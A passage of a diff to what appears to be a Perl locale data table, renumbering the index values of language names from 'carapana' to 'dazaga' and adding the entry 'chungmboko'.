-      q(1842),
+      q(1843),
       q(0),
       ],
    q(carapana) => [
-      q(1659),
+      q(1660),
       q(0),
       ],
    q(carian) => [
-      q(7301),
+      q(7303),
       q(0),
       ],
    q(caribbean hindustani) => [
-      q(2803),
+      q(2805),
       q(0),
       ],
    q(caribbean javanese) => [
-      q(3163),
+      q(3165),
       q(0),
       ],
    q(carijona) => [
-      q(1660),
+      q(1661),
       q(0),
       ],
    q(carolina algonquian) => [
-      q(1852),
+      q(1853),
       q(0),
       ],
    q(carolinian) => [
-      q(1646),
+      q(1647),
       q(0),
       ],
    q(carpathian romani) => [
-      q(5796),
+      q(5797),
       q(0),
       ],
    q(carrier) => [
-      q(1857),
+      q(1858),
       q(0),
       ],
    q(cashibo-cacataibo) => [
-      q(1669),
+      q(1670),
       q(0),
       ],
    q(cashinahua) => [
-      q(1670),
+      q(1671),
       q(0),
       ],
    q(casiguran dumagat agta) => [
-      q(1999),
+      q(2000),
       q(0),
       ],
    q(castilian) => [
-      q(0401),
+      q(0402),
       q(1),
       ],
    q(casuarina coast asmat) => [
-      q(0887),
+      q(0888),
       q(0),
       ],
    q(catalan) => [
@@ -29173,15 +29199,15 @@
       q(0),
       ],
    q(catalan sign language) => [
-      q(1861),
+      q(1862),
       q(0),
       ],
    q(catawba) => [
-      q(1715),
+      q(1716),
       q(0),
       ],
    q(cauca) => [
-      q(1676),
+      q(1677),
       q(0),
       ],
    q(caucasian languages) => [
@@ -29189,23 +29215,23 @@
       q(0),
       ],
    q(cavinena) => [
-      q(1653),
+      q(1654),
       q(0),
       ],
    q(cayubaba) => [
-      q(1924),
+      q(1925),
       q(0),
       ],
    q(cayuga) => [
-      q(1656),
+      q(1657),
       q(0),
       ],
    q(cayuse) => [
-      q(7306),
+      q(7308),
       q(0),
       ],
    q(cebaara senoufo) => [
-      q(5958),
+      q(5959),
       q(0),
       ],
    q(cebuano) => [
@@ -29213,7 +29239,7 @@
       q(0),
       ],
    q(celtiberian) => [
-      q(7294),
+      q(7296),
       q(0),
       ],
    q(celtic languages) => [
@@ -29221,11 +29247,11 @@
       q(0),
       ],
    q(cemuhi) => [
-      q(1647),
+      q(1648),
       q(0),
       ],
    q(cen) => [
-      q(1705),
+      q(1706),
       q(0),
       ],
    q(central american indian languages) => [
@@ -29233,7 +29259,7 @@
       q(0),
       ],
    q(central asmat) => [
-      q(1800),
+      q(1801),
       q(0),
       ],
    q(central atlas tamazight) => [
@@ -29241,23 +29267,23 @@
       q(0),
       ],
    q(central awyu) => [
-      q(0980),
+      q(0981),
       q(0),
       ],
    q(central aymara) => [
-      q(1006),
+      q(1007),
       q(0),
       ],
    q(central bai) => [
-      q(1064),
+      q(1065),
       q(0),
       ],
    q(central berawan) => [
-      q(7811),
+      q(7814),
       q(0),
       ],
    q(central bikol) => [
-      q(1075),
+      q(1076),
       q(0),
       ],
    q(central bontok) => [
@@ -29265,95 +29291,95 @@
       q(0),
       ],
    q(central cagayan agta) => [
-      q(0670),
+      q(0671),
       q(0),
       ],
    q(central dusun) => [
-      q(2158),
+      q(2159),
       q(1),
       ],
    q(central grebo) => [
-      q(2623),
+      q(2625),
       q(0),
       ],
    q(central hongshuihe zhuang) => [
-      q(7816),
+      q(7819),
       q(0),
       ],
    q(central huasteca nahuatl) => [
-      q(4760),
+      q(4761),
       q(0),
       ],
    q(central huishui hmong) => [
-      q(2774),
+      q(2776),
       q(0),
       ],
    q(central huishui miao) => [
-      q(2774),
+      q(2776),
       q(1),
       ],
    q(central kanuri) => [
-      q(3478),
+      q(3479),
       q(0),
       ],
    q(central khmer) => [
-      q(0222),
+      q(0223),
       q(0),
       ],
    q(central kurdish) => [
-      q(1751),
+      q(1752),
       q(0),
       ],
    q(central lalo) => [
-      q(7773),
+      q(7776),
       q(1),
       ],
    q(central maewo) => [
-      q(4628),
+      q(4629),
       q(0),
       ],
    q(central malay) => [
-      q(5601),
+      q(5604),
       q(0),
       ],
    q(central malayo-polynesian languages) => [
-      q(0519),
+      q(0520),
       q(0),
       ],
    q(central masela) => [
-      q(4664),
+      q(4665),
       q(0),
       ],
    q(central mashan hmong) => [
-      q(2784),
+      q(2786),
       q(0),
       ],
    q(central mashan miao) => [
-      q(2784),
+      q(2786),
       q(1),
       ],
    q(central mazahua) => [
-      q(4118),
+      q(4119),
       q(0),
       ],
    q(central melanau) => [
-      q(4203),
+      q(4204),
       q(0),
       ],
    q(central mnong) => [
-      q(1787),
+      q(1788),
       q(0),
       ],
    q(central nahuatl) => [
-      q(4862),
+      q(4864),
       q(0),
       ],
    q(central nicobarese) => [
-      q(4754),
+      q(4755),
       q(0),
       ],
    q(central ojibwa) => [
-      q(5210),
+      q(5214),
       q(0),
       ],
    q(central okinawan) => [
@@ -29361,23 +29387,23 @@
       q(0),
       ],
    q(central palawano) => [
-      q(5481),
+      q(5485),
       q(0),
       ],
    q(central pame) => [
-      q(5368),
+      q(5372),
       q(0),
       ],
    q(central pashto) => [
-      q(5613),
+      q(5616),
       q(0),
       ],
    q(central pomo) => [
-      q(5554),
+      q(5558),
       q(0),
       ],
    q(central puebla nahuatl) => [
-      q(4773),
+      q(4775),
       q(0),
       ],
    q(central sama) => [
@@ -29385,19 +29411,19 @@
       q(0),
       ],
    q(central siberian yupik) => [
-      q(2296),
+      q(2297),
       q(0),
       ],
    q(central sierra miwok) => [
-      q(1871),
+      q(1872),
       q(0),
       ],
    q(central subanen) => [
-      q(6325),
+      q(6324),
       q(0),
       ],
    q(central sudanic languages) => [
-      q(0499),
+      q(0500),
       q(0),
       ],
    q(central tagbanwa) => [
@@ -29413,19 +29439,19 @@
       q(0),
       ],
    q(central yupik) => [
-      q(2297),
+      q(2298),
       q(0),
       ],
    q(central-eastern niger fulfulde) => [
-      q(2387),
+      q(2388),
       q(0),
       ],
    q(centuum) => [
-      q(1706),
+      q(1707),
       q(0),
       ],
    q(cerma) => [
-      q(1781),
+      q(1782),
       q(0),
       ],
    q(chabu) => [
@@ -29433,31 +29459,31 @@
       q(0),
       ],
    q(chachapoyas quechua) => [
-      q(5676),
+      q(5678),
       q(0),
       ],
    q(chachi) => [
-      q(1662),
+      q(1663),
       q(0),
       ],
    q(chacobo) => [
-      q(1649),
+      q(1650),
       q(0),
       ],
    q(chadian arabic) => [
-      q(6018),
+      q(6019),
       q(0),
       ],
    q(chadian sign language) => [
-      q(1699),
+      q(1700),
       q(0),
       ],
    q(chadic languages) => [
-      q(0497),
+      q(0498),
       q(0),
       ],
    q(chadong) => [
-      q(1700),
+      q(1701),
       q(0),
       ],
    q(chagatai) => [
@@ -29465,27 +29491,27 @@
       q(0),
       ],
    q(chaima) => [
-      q(1738),
+      q(1739),
       q(0),
       ],
    q(chak) => [
-      q(1752),
+      q(1753),
       q(0),
       ],
    q(chakali) => [
-      q(1770),
+      q(1771),
       q(0),
       ],
    q(chakma) => [
-      q(1686),
+      q(1687),
       q(0),
       ],
    q(chala) => [
-      q(1773),
+      q(1774),
       q(0),
       ],
    q(chaldean neo-aramaic) => [
-      q(1767),
+      q(1768),
       q(0),
       ],
    q(chalikha) => [
@@ -29493,23 +29519,23 @@
       q(0),
       ],
    q(chamacoco) => [
-      q(1703),
+      q(1704),
       q(0),
       ],
    q(chamalal) => [
-      q(1742),
+      q(1743),
       q(0),
       ],
    q(chamari) => [
-      q(1691),
+      q(1692),
       q(0),
       ],
    q(chambeali) => [
-      q(1692),
+      q(1693),
       q(0),
       ],
    q(chambri) => [
-      q(1648),
+      q(1649),
       q(0),
       ],
    q(chamic languages) => [
@@ -29517,7 +29543,7 @@
       q(0),
       ],
    q(chamicuro) => [
-      q(1677),
+      q(1678),
       q(0),
       ],
    q(chamorro) => [
@@ -29525,51 +29551,51 @@
       q(0),
       ],
    q(chane) => [
-      q(1644),
+      q(1645),
       q(0),
       ],
    q(chang naga) => [
-      q(4733),
+      q(4734),
       q(0),
       ],
    q(changriwa) => [
-      q(1711),
+      q(1712),
       q(0),
       ],
    q(changthang) => [
-      q(1791),
+      q(1792),
       q(0),
       ],
    q(chantyal) => [
-      q(1724),
+      q(1725),
       q(0),
       ],
    q(chara) => [
-      q(1838),
+      q(1839),
       q(0),
       ],
    q(chaudangsi) => [
-      q(1696),
+      q(1697),
       q(0),
       ],
    q(chaura) => [
-      q(1855),
+      q(1856),
       q(0),
       ],
    q(chavacano) => [
-      q(1664),
+      q(1665),
       q(0),
       ],
    q(chayahuita) => [
-      q(1671),
+      q(1672),
       q(0),
       ],
    q(chayuco mixtec) => [
-      q(4296),
+      q(4297),
       q(0),
       ],
    q(chazumba mixtec) => [
-      q(7490),
+      q(7493),
       q(0),
       ],
    q(che) => [
@@ -29581,39 +29607,39 @@
       q(0),
       ],
    q(cheke holo) => [
-      q(4510),
+      q(4511),
       q(0),
       ],
    q(chemakum) => [
-      q(7296),
+      q(7298),
       q(0),
       ],
    q(chenapian) => [
-      q(1745),
+      q(1746),
       q(0),
       ],
    q(chenchu) => [
-      q(1689),
+      q(1690),
       q(0),
       ],
    q(chenoua) => [
-      q(1802),
+      q(1803),
       q(0),
       ],
    q(chepang) => [
-      q(1695),
+      q(1696),
       q(0),
       ],
    q(chepya) => [
-      q(7597),
+      q(7600),
       q(0),
       ],
    q(cheq wong) => [
-      q(1921),
+      q(1922),
       q(1),
       ],
    q(cherepon) => [
-      q(1831),
+      q(1832),
       q(0),
       ],
    q(cherokee) => [
@@ -29621,19 +29647,19 @@
       q(0),
       ],
    q(chesu) => [
-      q(7594),
+      q(7597),
       q(0),
       ],
    q(chetco) => [
-      q(1883),
+      q(1884),
       q(0),
       ],
    q(chewa) => [
-      q(0321),
+      q(0322),
       q(1),
       ],
    q(chewong) => [
-      q(1921),
+      q(1922),
       q(0),
       ],
    q(cheyenne) => [
@@ -29641,23 +29667,23 @@
       q(0),
       ],
    q(chhattisgarhi) => [
-      q(2797),
+      q(2799),
       q(0),
       ],
    q(chhintange) => [
-      q(1890),
+      q(1891),
       q(0),
       ],
    q(chhulung) => [
-      q(1909),
+      q(1910),
       q(0),
       ],
    q(chiangmai sign language) => [
-      q(1862),
+      q(1863),
       q(0),
       ],
    q(chiapanec) => [
-      q(1735),
+      q(1736),
       q(0),
       ],
    q(chibcha) => [
@@ -29665,7 +29691,7 @@
       q(0),
       ],
    q(chibchan languages) => [
-      q(0494),
+      q(0495),
       q(0),
       ],
    q(chicahuaxtla triqui) => [
@@ -29673,95 +29699,95 @@
       q(0),
       ],
    q(chichewa) => [
-      q(0321),
+      q(0322),
       q(0),
       ],
    q(chichicapan zapotec) => [
-      q(7917),
+      q(7920),
       q(0),
       ],
    q(chichimeca-jonaz) => [
-      q(5403),
+      q(5407),
       q(0),
       ],
    q(chichonyi-chidzihana-chikauma) => [
-      q(1812),
+      q(1813),
       q(1),
       ],
    q(chickasaw) => [
-      q(1728),
+      q(1729),
       q(0),
       ],
    q(chicomuceltec) => [
-      q(1806),
+      q(1807),
       q(0),
       ],
    q(chidigo) => [
-      q(2033),
+      q(2034),
       q(1),
       ],
    q(chiduruma) => [
-      q(2169),
+      q(2170),
       q(1),
       ],
    q(chiga) => [
-      q(1713),
+      q(1714),
       q(0),
       ],
    q(chigmecatitlan mixtec) => [
-      q(4297),
+      q(4298),
       q(0),
       ],
    q(chilcotin) => [
-      q(1766),
+      q(1767),
       q(0),
       ],
    q(chilean sign language) => [
-      q(1865),
+      q(1866),
       q(0),
       ],
    q(chilisso) => [
-      q(1769),
+      q(1770),
       q(0),
       ],
    q(chiltepec chinantec) => [
-      q(1860),
+      q(1861),
       q(0),
       ],
    q(chimakum) => [
-      q(7296),
+      q(7298),
       q(1),
       ],
    q(chimalapa zoque) => [
-      q(7890),
+      q(7893),
       q(0),
       ],
    q(chimariko) => [
-      q(1729),
+      q(1730),
       q(0),
       ],
    q(chimborazo highland quichua) => [
-      q(5673),
+      q(5675),
       q(0),
       ],
    q(chimila) => [
-      q(1661),
+      q(1662),
       q(0),
       ],
    q(china buriat) => [
-      q(1584),
+      q(1585),
       q(0),
       ],
    q(chinali) => [
-      q(1731),
+      q(1732),
       q(0),
       ],
    q(chinbon chin) => [
-      q(1792),
+      q(1793),
       q(0),
       ],
    q(chincha quechua) => [
-      q(5711),
+      q(5713),
       q(0),
       ],
    q(chinese) => [
@@ -29769,23 +29795,23 @@
       q(0),
       ],
    q(chinese (family)) => [
-      q(0533),
+      q(0534),
       q(0),
       ],
    q(chinese pidgin english) => [
-      q(1830),
+      q(1831),
       q(0),
       ],
    q(chinese sign language) => [
-      q(1870),
+      q(1871),
       q(0),
       ],
    q(chini) => [
-      q(0643),
+      q(0644),
       q(1),
       ],
    q(chinook) => [
-      q(1718),
+      q(1719),
       q(0),
       ],
    q(chinook jargon) => [
@@ -29793,7 +29819,7 @@
       q(0),
       ],
    q(chipaya) => [
-      q(1650),
+      q(1651),
       q(0),
       ],
    q(chipewyan) => [
@@ -29801,39 +29827,39 @@
       q(0),
       ],
    q(chippewa) => [
-      q(1737),
+      q(1738),
       q(0),
       ],
    q(chiquian ancash quechua) => [
-      q(5710),
+      q(5712),
       q(0),
       ],
    q(chiquihuitlan mazatec) => [
-      q(4112),
+      q(4113),
       q(0),
       ],
    q(chiquitano) => [
-      q(1655),
+      q(1656),
       q(0),
       ],
    q(chiripa) => [
-      q(4854),
+      q(4856),
       q(0),
       ],
    q(chiru) => [
-      q(1690),
+      q(1691),
       q(0),
       ],
    q(chitimacha) => [
-      q(1889),
+      q(1890),
       q(0),
       ],
    q(chitkuli kinnauri) => [
-      q(1732),
+      q(1733),
       q(0),
       ],
    q(chittagonian) => [
-      q(1886),
+      q(1887),
       q(0),
       ],
    q(chitwania tharu) => [
@@ -29841,15 +29867,15 @@
       q(0),
       ],
    q(choapan zapotec) => [
-      q(7898),
+      q(7901),
       q(0),
       ],
    q(chocangacakha) => [
-      q(1714),
+      q(1715),
       q(0),
       ],
    q(chochotec) => [
-      q(1825),
+      q(1826),
       q(0),
       ],
    q(choctaw) => [
@@ -29857,103 +29883,107 @@
       q(0),
       ],
    q(chodri) => [
-      q(1693),
+      q(1694),
       q(0),
       ],
    q(chokri naga) => [
-      q(5046),
+      q(5050),
       q(0),
       ],
    q(chokwe) => [
-      q(1743),
+      q(1744),
       q(0),
       ],
    q(chol) => [
-      q(1895),
+      q(1896),
       q(0),
       ],
    q(cholon) => [
-      q(1722),
+      q(1723),
       q(0),
       ],
    q(chong) => [
-      q(1811),
+      q(1812),
       q(0),
       ],
    q(choni) => [
-      q(1688),
+      q(1689),
       q(0),
       ],
    q(chonyi-dzihana-kauma) => [
-      q(1812),
+      q(1813),
       q(0),
       ],
    q(chopi) => [
-      q(1679),
+      q(1680),
       q(0),
       ],
    q(chorasmian) => [
-      q(7300),
+      q(7302),
       q(0),
       ],
    q(chorti) => [
-      q(1637),
+      q(1638),
       q(0),
       ],
    q(chothe naga) => [
-      q(4771),
+      q(4773),
       q(0),
       ],
    q(chrau) => [
-      q(1856),
+      q(1857),
       q(0),
       ],
    q(chru) => [
-      q(1740),
+      q(1741),
       q(0),
       ],
    q(chuang) => [
-      q(0481),
+      q(0482),
       q(1),
       ],
    q(chuanqiandian cluster miao) => [
-      q(1837),
+      q(1838),
       q(0),
       ],
    q(chuave) => [
-      q(1749),
+      q(1750),
       q(0),
       ],
    q(chug) => [
-      q(1915),
+      q(1916),
       q(0),
       ],
    q(chuj) => [
-      q(1639),
+      q(1640),
       q(0),
       ],
    q(chuka) => [
-      q(1901),
+      q(1902),
       q(0),
       ],
    q(chukot) => [
-      q(1759),
+      q(1760),
       q(0),
       ],
    q(chukwa) => [
-      q(1913),
+      q(1914),
       q(0),
       ],
    q(chulym) => [
-      q(1778),
+      q(1779),
       q(0),
       ],
    q(chumburung) => [
-      q(4772),
+      q(4774),
       q(0),
       ],
+   q(chungmboko) => [
+      q(1901),
+      q(0),
+      ],
    q(churahi) => [
-      q(1694),
+      q(1695),
       q(0),
       ],
    q(church slavic) => [
@@ -29973,7 +30003,7 @@
       q(0),
       ],
    q(chuvantsy) => [
-      q(7304),
+      q(7306),
       q(0),
       ],
    q(chuvash) => [
@@ -29981,47 +30011,47 @@
       q(0),
       ],
    q(chuwabu) => [
-      q(1723),
+      q(1724),
       q(0),
       ],
    q(ci gbe) => [
-      q(1727),
+      q(1728),
       q(0),
       ],
    q(cia-cia) => [
-      q(1726),
+      q(1727),
       q(0),
       ],
    q(cibak) => [
-      q(1753),
+      q(1754),
       q(0),
       ],
    q(cicipu) => [
-      q(0968),
+      q(0969),
       q(0),
       ],
    q(cimbrian) => [
-      q(1733),
+      q(1734),
       q(0),
       ],
    q(cinda-regi-tiyal) => [
-      q(1698),
+      q(1699),
       q(0),
       ],
    q(cineni) => [
-      q(1730),
+      q(1731),
       q(0),
       ],
    q(cinta larga) => [
-      q(1734),
+      q(1735),
       q(0),
       ],
    q(cisalpine gaulish) => [
-      q(7295),
+      q(7297),
       q(0),
       ],
    q(cishingini) => [
-      q(0891),
+      q(0892),
       q(0),
       ],
    q(citak) => [
@@ -30033,103 +30063,103 @@
       q(0),
       ],
    q(clallam) => [
-      q(1774),
+      q(1775),
       q(0),
       ],
    q(classical armenian) => [
-      q(7297),
+      q(7299),
       q(0),
       ],
    q(classical mandaic) => [
-      q(4685),
+      q(4686),
       q(0),
       ],
    q(classical mongolian) => [
-      q(1782),
+      q(1783),
       q(0),
       ],
    q(classical nahuatl) => [
-      q(4761),
+      q(4762),
       q(0),
       ],
    q(classical nepal bhasa) => [
-      q(0320),
+      q(0321),
       q(2),
       ],
    q(classical newari) => [
-      q(0320),
+      q(0321),
       q(0),
       ],
    q(classical quechua) => [
-      q(5705),
+      q(5707),
       q(0),
       ],
    q(classical syriac) => [
-      q(0414),
+      q(0415),
       q(0),
       ],
    q(classical tibetan) => [
-      q(7302),
+      q(7304),
       q(0),
       ],
    q(coahuilteco) => [
-      q(7305),
+      q(7307),
       q(0),
       ],
    q(coast miwok) => [
-      q(1867),
+      q(1868),
       q(0),
       ],
    q(coastal konjo) => [
-      q(3376),
+      q(3377),
       q(0),
       ],
    q(coatecas altas zapotec) => [
-      q(7815),
+      q(7818),
       q(0),
       ],
    q(coatepec nahuatl) => [
-      q(4730),
+      q(4731),
       q(0),
       ],
    q(coatlan mixe) => [
-      q(4158),
+      q(4159),
       q(0),
       ],
    q(coatlan zapotec) => [
-      q(7914),
+      q(7917),
       q(0),
       ],
    q(coatzospan mixtec) => [
-      q(4311),
+      q(4312),
       q(0),
       ],
    q(cocama-cocamilla) => [
-      q(1808),
+      q(1809),
       q(0),
       ],
    q(cochimi) => [
-      q(1813),
+      q(1814),
       q(0),
       ],
    q(cocopa) => [
-      q(1807),
+      q(1808),
       q(0),
       ],
    q(cocos islands malay) => [
-      q(1805),
+      q(1806),
       q(0),
       ],
    q(coeur d'alene) => [
-      q(1841),
+      q(1842),
       q(0),
       ],
    q(cofan) => [
-      q(1817),
+      q(1818),
       q(0),
       ],
    q(cogui) => [
-      q(3506),
+      q(3507),
       q(0),
       ],
    q(col) => [
@@ -30137,63 +30167,63 @@
       q(0),
       ],
    q(colombian sign language) => [
-      q(1872),
+      q(1873),
       q(0),
       ],
    q(colonia tovar german) => [
-      q(2448),
+      q(2449),
       q(0),
       ],
    q(colorado) => [
-      q(1810),
+      q(1811),
       q(0),
       ],
    q(columbia-wenatchi) => [
-      q(1815),
+      q(1816),
       q(0),
       ],
    q(comaltepec chinantec) => [
-      q(1685),
+      q(1686),
       q(0),
       ],
    q(comanche) => [
-      q(1816),
+      q(1817),
       q(0),
       ],
    q(comecrudo) => [
-      q(7298),
+      q(7300),
       q(0),
       ],
    q(como karim) => [
-      q(1709),
+      q(1710),
       q(0),
       ],
    q(comox) => [
-      q(1818),
+      q(1819),
       q(0),
       ],
    q(con) => [
-      q(1799),
+      q(1800),
       q(0),
       ],
    q(congo swahili) => [
-      q(6290),
+      q(6289),
       q(0),
       ],
    q(cook islands maori) => [
-      q(0356),
+      q(0357),
       q(1),
       ],
    q(coong) => [
-      q(1793),
+      q(1794),
       q(0),
       ],
    q(coos) => [
-      q(1881),
+      q(1882),
       q(0),
       ],
    q(copainala zoque) => [
-      q(7889),
+      q(7892),
       q(0),
       ],
    q(copala triqui) => [
@@ -30201,47 +30231,47 @@
       q(0),
       ],
    q(coptic) => [
-      q(0090),
+      q(0091),
       q(0),
       ],
    q(coquille) => [
-      q(1819),
+      q(1820),
       q(0),
       ],
    q(cori) => [
-      q(1858),
+      q(1859),
       q(0),
       ],
    q(cornish) => [
-      q(0091),
+      q(0092),
       q(0),
       ],
    q(corongo ancash quechua) => [
-      q(5704),
+      q(5706),
       q(0),
       ],
    q(corsican) => [
-      q(0092),
+      q(0093),
       q(0),
       ],
    q(costa rican sign language) => [
-      q(1875),
+      q(1876),
       q(0),
       ],
    q(cotabato manobo) => [
-      q(4547),
+      q(4548),
       q(0),
       ],
    q(cotoname) => [
-      q(7299),
+      q(7301),
       q(0),
       ],
    q(cowlitz) => [
-      q(1823),
+      q(1824),
       q(0),
       ],
    q(coyotepec popoloca) => [
-      q(5359),
+      q(5363),
       q(0),
       ],
    q(coyutla totonac) => [
@@ -30249,167 +30279,167 @@
       q(0),
       ],
    q(cree) => [
-      q(0096),
+      q(0097),
       q(0),
       ],
    q(creek) => [
-      q(0293),
+      q(0294),
       q(0),
       ],
    q(creoles and pidgins) => [
-      q(0098),
+      q(0099),
       q(1),
       ],
    q(creoles and pidgins ) => [
-      q(0098),
+      q(0099),
       q(0),
       ],
    q(creoles and pidgins, english based) => [
-      q(0093),
+      q(0094),
       q(0),
       ],
    q(creoles and pidgins, english-based) => [
-      q(0093),
+      q(0094),
       q(1),
       ],
    q(creoles and pidgins, french-based) => [
-      q(0094),
+      q(0095),
       q(1),
       ],
    q(creoles and pidgins, french-based ) => [
-      q(0094),
+      q(0095),
       q(0),
       ],
    q(creoles and pidgins, portuguese-based) => [
-      q(0095),
+      q(0096),
       q(1),
       ],
    q(creoles and pidgins, portuguese-based ) => [
-      q(0095),
+      q(0096),
       q(0),
       ],
    q(crimean tatar) => [
-      q(0097),
+      q(0098),
       q(0),
       ],
    q(crimean turkish) => [
-      q(0097),
+      q(0098),
       q(1),
       ],
    q(croatia sign language) => [
-      q(1874),
+      q(1875),
       q(0),
       ],
    q(croatian) => [
-      q(0181),
+      q(0182),
       q(0),
       ],
    q(cross river mbembe) => [
-      q(4229),
+      q(4230),
       q(0),
       ],
    q(crow) => [
-      q(1850),
+      q(1851),
       q(0),
       ],
    q(cruzeno) => [
-      q(1859),
+      q(1860),
       q(0),
       ],
    q(cua) => [
-      q(1897),
+      q(1898),
       q(0),
       ],
    q(cuba) => [
-      q(1668),
+      q(1669),
       q(1),
       ],
    q(cuba sign language) => [
-      q(1864),
+      q(1865),
       q(0),
       ],
    q(cubeo) => [
-      q(1898),
+      q(1899),
       q(0),
       ],
    q(cuiba) => [
-      q(1902),
+      q(1903),
       q(0),
       ],
    q(culina) => [
-      q(1905),
+      q(1906),
       q(0),
       ],
    q(cumanagoto) => [
-      q(1906),
+      q(1907),
       q(0),
       ],
    q(cumbric) => [
-      q(7292),
+      q(7294),
       q(0),
       ],
    q(cun) => [
-      q(1908),
+      q(1909),
       q(0),
       ],
    q(cuneiform luwian) => [
-      q(7387),
+      q(7390),
       q(0),
       ],
    q(cung) => [
-      q(1900),
-      q(0),
+      q(1901),
+      q(1),
       ],
    q(cupeno) => [
-      q(1907),
+      q(1908),
       q(0),
       ],
    q(curonian) => [
-      q(7303),
+      q(7305),
       q(0),
       ],
    q(curripaco) => [
-      q(3521),
+      q(3522),
       q(0),
       ],
    q(cusco quechua) => [
-      q(5688),
+      q(5690),
       q(0),
       ],
    q(cushitic languages) => [
-      q(0100),
+      q(0101),
       q(0),
       ],
    q(cutchi-swahili) => [
-      q(1683),
+      q(1684),
       q(0),
       ],
    q(cuvok) => [
-      q(1912),
+      q(1913),
       q(0),
       ],
    q(cuyamecalco mixtec) => [
-      q(7507),
+      q(7510),
       q(0),
       ],
    q(cuyonon) => [
-      q(1925),
+      q(1926),
       q(0),
       ],
    q(cwi bwamu) => [
-      q(1563),
+      q(1564),
       q(0),
       ],
    q(cypriot arabic) => [
-      q(0602),
+      q(0603),
       q(0),
       ],
    q(czech) => [
-      q(0101),
+      q(0102),
       q(0),
       ],
    q(czech sign language) => [
-      q(1863),
+      q(1864),
       q(0),
       ],
    q(da'a kaili) => [
@@ -30417,15 +30447,15 @@
       q(0),
       ],
    q(da-hua miao) => [
-      q(2775),
+      q(2777),
       q(2),
       ],
    q(daai chin) => [
-      q(1941),
+      q(1942),
       q(0),
       ],
    q(daakaka) => [
-      q(1374),
+      q(1375),
       q(0),
       ],
    q(daantanai') => [
@@ -30433,119 +30463,119 @@
       q(0),
       ],
    q(daasanach) => [
-      q(2143),
+      q(2144),
       q(0),
       ],
    q(daats'iin) => [
-      q(2156),
+      q(2157),
       q(0),
       ],
    q(daba) => [
-      q(1962),
+      q(1963),
       q(0),
       ],
    q(dabarre) => [
-      q(1963),
+      q(1964),
       q(0),
       ],
    q(dabe) => [
-      q(1952),
+      q(1953),
       q(0),
       ],
    q(dacian) => [
-      q(7308),
+      q(7310),
       q(0),
       ],
    q(dadi dadi) => [
-      q(1971),
+      q(1972),
       q(0),
       ],
    q(dadibi) => [
-      q(4465),
+      q(4466),
       q(0),
       ],
    q(dadiya) => [
-      q(1951),
+      q(1952),
       q(0),
       ],
    q(daga) => [
-      q(2014),
+      q(2015),
       q(0),
       ],
    q(dagaari dioula) => [
-      q(2000),
+      q(2001),
       q(0),
       ],
    q(dagba) => [
-      q(2005),
+      q(2006),
       q(0),
       ],
    q(dagbani) => [
-      q(1935),
+      q(1936),
       q(0),
       ],
    q(dagik) => [
-      q(1982),
+      q(1983),
       q(0),
       ],
    q(dagoman) => [
-      q(2007),
+      q(2008),
       q(0),
       ],
    q(dahalik) => [
-      q(2072),
+      q(2073),
       q(0),
       ],
    q(dahalo) => [
-      q(1939),
+      q(1940),
       q(0),
       ],
    q(daho-doo) => [
-      q(1943),
+      q(1944),
       q(0),
       ],
    q(dai) => [
-      q(2036),
+      q(2037),
       q(0),
       ],
    q(dai zhuang) => [
-      q(7827),
+      q(7830),
       q(0),
       ],
    q(dair) => [
-      q(2127),
+      q(2128),
       q(0),
       ],
    q(dakka) => [
-      q(2067),
+      q(2068),
       q(0),
       ],
    q(dakota) => [
-      q(0102),
+      q(0103),
       q(0),
       ],
    q(dakpakha) => [
-      q(2066),
+      q(2067),
       q(0),
       ],
    q(dalabon) => [
-      q(4835),
+      q(4837),
       q(0),
       ],
    q(dalmatian) => [
-      q(2073),
+      q(2074),
       q(0),
       ],
    q(daloa bete) => [
-      q(1131),
+      q(1132),
       q(0),
       ],
    q(dama) => [
-      q(2083),
+      q(2084),
       q(0),
       ],
    q(damakawa) => [
-      q(1940),
+      q(1941),
       q(0),
       ],
    q(damal) => [
@@ -30553,35 +30583,35 @@
       q(0),
       ],
    q(dambi) => [
-      q(1932),
+      q(1933),
       q(0),
       ],
    q(dameli) => [
-      q(2082),
+      q(2083),
       q(0),
       ],
    q(dampelas) => [
-      q(2086),
+      q(2087),
       q(0),
       ],
    q(dan) => [
-      q(2097),
+      q(2098),
       q(0),
       ],
    q(danaru) => [
-      q(2100),
+      q(2101),
       q(0),
       ],
    q(danau) => [
-      q(2102),
+      q(2103),
       q(0),
       ],
    q(dandami maria) => [
-      q(1942),
+      q(1943),
       q(0),
       ],
    q(dangaleat) => [
-      q(1931),
+      q(1932),
       q(0),
       ],
    q(dangaura tharu) => [
@@ -30589,75 +30619,75 @@
       q(0),
       ],
    q(danish) => [
-      q(0103),
+      q(0104),
       q(0),
       ],
    q(danish sign language) => [
-      q(2145),
+      q(2146),
       q(0),
       ],
    q(dano) => [
-      q(0898),
+      q(0899),
       q(0),
       ],
    q(danu) => [
-      q(2103),
+      q(2104),
       q(0),
       ],
    q(dao) => [
-      q(1948),
+      q(1949),
       q(0),
       ],
    q(daonda) => [
-      q(2093),
+      q(2094),
       q(0),
       ],
    q(dar daju daju) => [
-      q(2053),
+      q(2054),
       q(0),
       ],
    q(dar fur daju) => [
-      q(1938),
+      q(1939),
       q(0),
       ],
    q(dar sila daju) => [
-      q(1944),
+      q(1945),
       q(0),
       ],
    q(darai) => [
-      q(2141),
+      q(2142),
       q(0),
       ],
    q(darang deng) => [
-      q(4285),
+      q(4286),
       q(1),
       ],
    q(dargwa) => [
-      q(0104),
+      q(0105),
       q(0),
       ],
    q(dari) => [
-      q(5592),
+      q(5595),
       q(0),
       ],
    q(darkinyung) => [
-      q(7307),
+      q(7309),
       q(0),
       ],
    q(darlong) => [
-      q(2074),
+      q(2075),
       q(0),
       ],
    q(darmiya) => [
-      q(2129),
+      q(2130),
       q(0),
       ],
    q(daro-matu melanau) => [
-      q(2135),
+      q(2136),
       q(0),
       ],
    q(dass) => [
-      q(2120),
+      q(2121),
       q(0),
       ],
    q(datooga) => [
@@ -30665,15 +30695,15 @@
       q(0),
       ],
    q(daungwurrung) => [
-      q(2012),
+      q(2013),
       q(0),
       ],
    q(daur) => [
-      q(2149),
+      q(2150),
       q(0),
       ],
    q(davawenyo) => [
-      q(1946),
+      q(1947),
       q(0),
       ],
    q(daw) => [
@@ -30681,115 +30711,115 @@
       q(0),
       ],
    q(dawawa) => [
-      q(2191),
+      q(2192),
       q(0),
       ],
    q(dawera-daweloor) => [
-      q(1981),
+      q(1982),
       q(0),
       ],
    q(dawida) => [
-      q(1945),
+      q(1946),
       q(1),
       ],
    q(dawro) => [
-      q(2188),
+      q(2189),
       q(0),
       ],
    q(day) => [
-      q(1937),
+      q(1938),
       q(0),
       ],
    q(dayi) => [
-      q(1947),
+      q(1948),
       q(0),
       ],
    q(dazaga) => [
